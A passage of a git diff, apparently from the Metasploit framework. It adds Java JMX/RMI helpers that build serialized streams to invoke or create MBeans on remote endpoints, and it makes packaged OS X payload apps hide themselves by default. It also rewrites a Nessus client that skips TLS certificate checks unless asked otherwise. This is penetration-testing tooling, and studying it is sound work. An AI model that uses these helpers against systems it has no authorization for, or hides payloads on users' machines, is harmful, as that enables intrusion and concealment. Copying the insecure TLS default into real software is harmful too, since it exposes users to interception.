loot[:host] = l.host.address if(l.host) loot[:service] = l.service.name || l.service.port if(l.service) @@ -964,8 +961,7 @@ public ret = {} ret[:clients] = [] - wspace.clients.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |c| + wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c| client = {} client[:host] = c.host.address.to_s if c.host client[:ua_string] = c.ua_string @@ -999,7 +995,7 @@ public conditions = {} conditions[:ua_name] = opts[:ua_name] if opts[:ua_name] conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver] - cret = h.clients.all(:conditions => conditions) + cret = h.clients.where(conditions) else cret = h.clients end diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index cd7b3cc166..cad39afb50 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -77,9 +77,17 @@ module Msf::HTTP::Wordpress::URIs # # @return [String] Wordpress Admin Ajax URL def wordpress_url_admin_ajax - normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + normalize_uri(wordpress_url_backend, 'admin-ajax.php') end + # Returns the Wordpress Admin Posts URL + # + # @return [String] Wordpress Admin Post URL + def wordpress_url_admin_post + normalize_uri(wordpress_url_backend, 'admin-post.php') + end + + # Returns the Wordpress wp-content dir URL # # @return [String] Wordpress wp-content dir URL diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb new file mode 100644 index 0000000000..0c796daf2d --- /dev/null +++ b/lib/msf/java/jmx.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Jmx + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' + + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end + + end + end +end diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb new file mode 100644 index 0000000000..d956a9fdaf --- /dev/null +++ b/lib/msf/java/jmx/discovery.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle JMX end points discovery + module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] + def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + end + end + end +end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb new file mode 100644 index 0000000000..36453849b2 --- /dev/null +++ b/lib/msf/java/jmx/handshake.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle a JMX handshake + module Handshake + + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + + if jmx_role + username = jmx_role + password = jmx_password || '' + + stream.contents << auth_array_stream(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def auth_array_stream(username, password) + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + auth_array + end + end + end + end +end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb new file mode 100644 index 0000000000..0956316b32 --- /dev/null +++ b/lib/msf/java/jmx/mbean.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + require 'msf/java/jmx/mbean/server_connection' + + include Msf::Java::Jmx::Mbean::ServerConnection + end + end + end +end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb new file mode 100644 index 0000000000..33622546f9 --- /dev/null +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class + module ServerConnection + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_arguments_stream(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end +end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb new file mode 100644 index 0000000000..6bac21c0a1 --- /dev/null +++ b/lib/msf/java/jmx/util.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle data + # used by Java JMX + module Util + + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise + def extract_object(stream, id) + new_object = nil + + if stream.contents[id] + new_object = stream.contents[id] + else + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + return nil + end + + new_object.class_desc.description.class_name.contents + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } + end + + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb new file mode 100644 index 0000000000..7b522a1ff1 --- /dev/null +++ b/lib/msf/java/rmi/client.rb @@ -0,0 +1,138 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' + +module Msf + module Java + module Rmi + module Client + + require 'msf/java/rmi/client/streams' + + include Msf::Java::Rmi::Client::Streams + include Exploit::Remote::Tcp + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [String] + def safe_get_once(nsock = sock) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb new file mode 100644 index 0000000000..215e4b0a8e --- /dev/null +++ b/lib/msf/java/rmi/client/streams.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Client + module Streams + + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => <Fixnum, String>}] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end + end +end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ed01ea0334..6256fb7d2b 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -734,16 +734,27 @@ require 'msf/core/exe/segment_injector' # @param [Hash] opts the options hash # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :hidden (true) hide the app when it is running # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file # @return [String] zip archive containing an OSX .app directory def self.to_osx_app(exe, opts = {}) - exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) - app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) - plist_extra = opts[:plist_extra] || '' + exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } + app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } + hidden = opts.fetch(:hidden, true) + plist_extra = opts.fetch(:plist_extra, '') app_name.chomp!(".app") app_name += ".app" + visible_plist = if hidden + %Q| + <key>LSBackgroundOnly</key> + <string>1</string> + | + else + '' + end + info_plist = %Q| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> @@ -754,7 +765,7 @@ require 'msf/core/exe/segment_injector' <key>CFBundleIdentifier</key> <string>com.#{exe_name}.app</string> <key>CFBundleName</key> - <string>#{exe_name}</string> + <string>#{exe_name}</string>#{visible_plist} <key>CFBundlePackageType</key> <string>APPL</string> #{plist_extra} diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb index c6ac670869..58e48e15c0 100644 --- a/lib/nessus/nessus-xmlrpc.rb +++ b/lib/nessus/nessus-xmlrpc.rb @@ -1,811 +1,308 @@ -# -# = nessus-xmlrpc.rb: communicate with Nessus(4.2+) over XML RPC interface -# -# Author:: Vlatko Kosturjak -# -# (C) Vlatko Kosturjak, Kost. Distributed under GPL and BSD license (dual). -# -# == What is this library? -# -# This library is used for communication with Nessus over XML RPC interface. -# You can start, stop, pause and resume scan. Watch progress and status of scan, -# download report, etc. -# -# == Requirements -# -# Required libraries are standard Ruby libraries: uri, net/https and rexml/document. -# -# == Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# puts "using policy ID: " + id + " with name: " + name -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# while not n.scan_finished(uid) -# sleep 10 -# end -# content=n.report_file_download(uid) -# File.open('report.xml', 'w') {|f| f.write(content) } -# end +require 'net/http' -require 'uri' -require 'net/https' -require 'rexml/document' - -# NessusXMLRPC module -# -# Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# end -# -# Check NessusXMLRPCrexml for description of methods implemented -# (for both NessusXMLRPCnokogiri and NessusXMLRPCrexml). - -module NessusXMLRPC - - # Class which uses standard REXML to parse nessus XML RPC replies. - class NessusXMLRPC - # initialize object: try to connect to Nessus Scanner using URL, user and password - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - def initialize(url,user,password) - if url == '' - @nurl="https://localhost:8834/" - else - if url =~ /\/$/ - @nurl=url - else - @nurl=url + "/" - end - end - @token='' - #login(user,password) +module Nessus + class Client + class << self + @connection + @token end - - # checks if we're logged in correctly - # - # returns: true if logged in, false if not - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # puts "Logged in" - # else - # puts "Error" - # end - - def logged_in - if @token == '' - return false + + def initialize(host, username = nil, password = nil, ssl_option = nil) + uri = URI.parse(host) + @connection = Net::HTTP.new(uri.host, uri.port) + @connection.use_ssl = true + if ssl_option == "ssl_verify" + @connection.verify_mode = OpenSSL::SSL::VERIFY_PEER else + @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + + yield @connection if block_given? + authenticate(username, password) if username && password + end + + def authenticate(username, password) + payload = { + :username => username, + :password => password, + :json => 1 + } + res = http_post(:uri=>"/session", :data=>payload) + if res['token'] + @token = "token=#{res['token']}" return true - end - end - - # send standard Nessus XML request and check - # - # returns: rexml/document root - def nessus_request(uri, post_data) - body=nessus_http_request(uri, post_data) - # puts response.body - docxml = REXML::Document.new(body) - begin - status = docxml.root.elements['status'].text - rescue - puts("Error connecting/logging to the server!") - return - end - if status == "OK" - return docxml else - return '' + false end end - # send standard Nessus HTTP request and check - # - # returns: body of response - def nessus_http_request(uri, post_data) - url = URI.parse(@nurl + uri) - request = Net::HTTP::Post.new( url.path ) - request.set_form_data( post_data ) - if not defined? @https - @https = Net::HTTP.new( url.host, url.port ) - @https.use_ssl = true - @https.verify_mode = OpenSSL::SSL::VERIFY_NONE + def x_cookie + {'X-Cookie'=>@token} + end + + alias_method :login, :authenticate + + def authenticated + if (@token && @token.include?('token=')) + return true + else + return false end - # puts request - begin - response = @https.request( request ) - rescue - puts("error connecting to server: #{@nurl} with URI: #{uri}") - exit - end - # puts response.body - return response.body + end + + def get_server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # login with user & password and sets object-wide @token, @name and @admin - def login(user, password) - post = { "login" => user, "password" => password } - docxml=nessus_request('login', post) - if docxml == '' - @token='' - else - @token = docxml.root.elements['contents'].elements['token'].text - @name = docxml.root.elements['contents'].elements['user'].elements['name'].text - @admin = docxml.root.elements['contents'].elements['user'].elements['admin'].text - # puts "Got token:" + @token - return @token - end + def user_add(username, password, permissions, type) + payload = { + :username => username, + :password => password, + :permissions => permissions, + :type => type, + :json => 1 + } + http_post(:uri=>"/users", :fields=>x_cookie, :data=>payload) + end + def user_delete(user_id) + res = http_delete(:uri=>"/users/#{user_id}", :fields=>x_cookie) + return res.code end - - #checks to see if the user is an admin + + def user_chpasswd(user_id, password) + payload = { + :password => password, + :json => 1 + } + res = http_put(:uri=>"/users/#{user_id}/chpasswd", :data=>payload, :fields=>x_cookie) + return res.code + end + + def user_logout + res = http_delete(:uri=>"/session", :fields=>x_cookie) + return res.code + end + + def list_policies + http_get(:uri=>"/policies", :fields=>x_cookie) + end + + def list_users + http_get(:uri=>"/users", :fields=>x_cookie) + end + + def list_folders + http_get(:uri=>"/folders", :fields=>x_cookie) + end + + def list_scanners + http_get(:uri=>"/scanners", :fields=>x_cookie) + end + + def list_families + http_get(:uri=>"/plugins/families", :fields=>x_cookie) + end + + def list_plugins(family_id) + http_get(:uri=>"/plugins/families/#{family_id}", :fields=>x_cookie) + end + + def list_template(type) + res = http_get(:uri=>"/editor/#{type}/templates", :fields=>x_cookie) + end + + def plugin_details(plugin_id) + http_get(:uri=>"/plugins/plugin/#{plugin_id}", :fields=>x_cookie) + end + def is_admin - if @admin == "TRUE" - return true - end - return false - end - - # initiate new scan with policy id, descriptive name and list of targets - # - # returns: uuid of scan - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # id,name = n.policy_get_first - # puts "using policy ID: " + id + " with name: " + name - # uid=n.scan_new(id,"textxmlrpc","127.0.0.1") - # end - def scan_new(policy_id,scan_name,target) - post= { "token" => @token, "policy_id" => policy_id, "scan_name" => scan_name, "target" => target } - docxml=nessus_request('scan/new', post) - if docxml == '' - return '' - else - uuid=docxml.root.elements['contents'].elements['scan'].elements['uuid'].text - return uuid - end - end - - # get uids of scans - # - # returns: array of uids of active scans - def scan_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - uuids=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| uuids.push(scan.elements['uuid'].text) } - return uuids - end - - # get hash of active scan data - # - # returns: array of hash of active scans - def scan_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - scans=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| - entry=Hash.new - entry['id']=scan.elements['uuid'].text if scan.elements['uuid'] - entry['name']=scan.elements['readableName'].text if scan.elements['readableName'] - entry['owner']=scan.elements['owner'].text if scan.elements['owner'] - entry['start']=scan.elements['start_time'].text if scan.elements['start_time'] - entry['status']=scan.elements['status'].text if scan.elements['status'] - entry['current']=scan.elements['completion_current'].text if scan.elements['completion_current'] - entry['total']=scan.elements['completion_total'].text if scan.elements['completion_total'] - scans.push(entry) - } - return scans - end - - def template_list_hash - post= { "token" => @token } - docxml = nessus_request('scan/list', post) - templates = Array.new - docxml.elements.each('/reply/contents/templates/template') { |template| - entry=Hash.new - entry['name']=template.elements['name'].text if template.elements['name'] - entry['pid']=template.elements['policy_id'].text if template.elements['policy_id'] - entry['rname']=template.elements['readableName'].text if template.elements['readableName'] - entry['owner']=template.elements['owner'].text if template.elements['owner'] - entry['target']=template.elements['target'].text if template.elements['target'] - templates.push(entry) - } - return templates - end - - # get hash of policies - # - # returns: array of hash of policies - def policy_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - policies=Array.new - docxml.elements.each('/reply/contents/policies/policies/policy') { |policy| - entry=Hash.new - entry['id']=policy.elements['policyID'].text if policy.elements['policyID'] - entry['name']=policy.elements['policyName'].text if policy.elements['policyName'] - entry['comment']=policy.elements['policyComments'].text if policy.elements['policyComments'] - policies.push(entry) - } - return policies - end - - # get hash of reportss - # - # returns: array of hash of templates - def report_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - #puts docxml - reports=Array.new - docxml.root.elements['contents'].elements['reports'].each_element('//report') {|report| - entry=Hash.new - entry['id']=report.elements['name'].text if report.elements['name'] - entry['name']=report.elements['readableName'].text if report.elements['readableName'] - entry['status']=report.elements['status'].text if report.elements['status'] - entry['timestamp']=report.elements['timestamp'].text if report.elements['timestamp'] - reports.push(entry) - } - return reports - end - - # get policy by textname and return policyID - # - # returns: policyID - def policy_get_id(textname) - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - if policy.elements['policyName'].text == textname - return policy.elements['policyID'].text - end - } - return '' - end - - # get first policy from server and returns: policyID, policyName - # - # returns: policyID, policyName - def policy_get_first - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - return policy.elements['policyID'].text, policy.elements['policyName'].text - } - end - - # get list of policy IDs - # - # returns: array of all policy uids - def policy_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - pids=Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') { |policy| - pids.push(policy.elements['policyID'].text) } - return pids - end - - # stop scan identified by scan_uuid - def scan_stop(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/stop', post) - if docxml.nil? - return - end - return docxml - end - - # stop all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_stop_all - # end - def scan_stop_all - b=scan_list_uids - b.each {|uuid| - scan_stop(uuid) - } - return b - end - - # pause scan identified by scan_uuid - def scan_pause(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/pause', post) - if docxml.nil? - return - end - return docxml - end - - # pause all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_pause_all - # end - def scan_pause_all - b=scan_list_uids - b.each {|uuid| - scan_pause(uuid) - } - return b - end - - # remove scan identified by uuid - def scan_resume(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/resume', post) - if docxml.nil? - return - end - return docxml - end - # resume all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_resume_all - # end - def scan_resume_all - b=scan_list_uids - b.each {|uuid| - scan_resume(uuid) - } - return b - end - - # check status of scan identified by uuid - def scan_status(uuid) - post= { "token" => @token, "report" => uuid } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['reports'].each_element('//report') { |report| - if report.elements['name'].text == uuid - return (report.elements['status'].text) - end - } - return '' - end - - # check if scan is finished (completed to be exact) identified by uuid - def scan_finished(uuid) - status=scan_status(uuid) - if status == "completed" + res = http_get(:uri=>"/session", :fields=>x_cookie) + if res['permissions'] == 128 return true else return false end end - - # get report by reportID 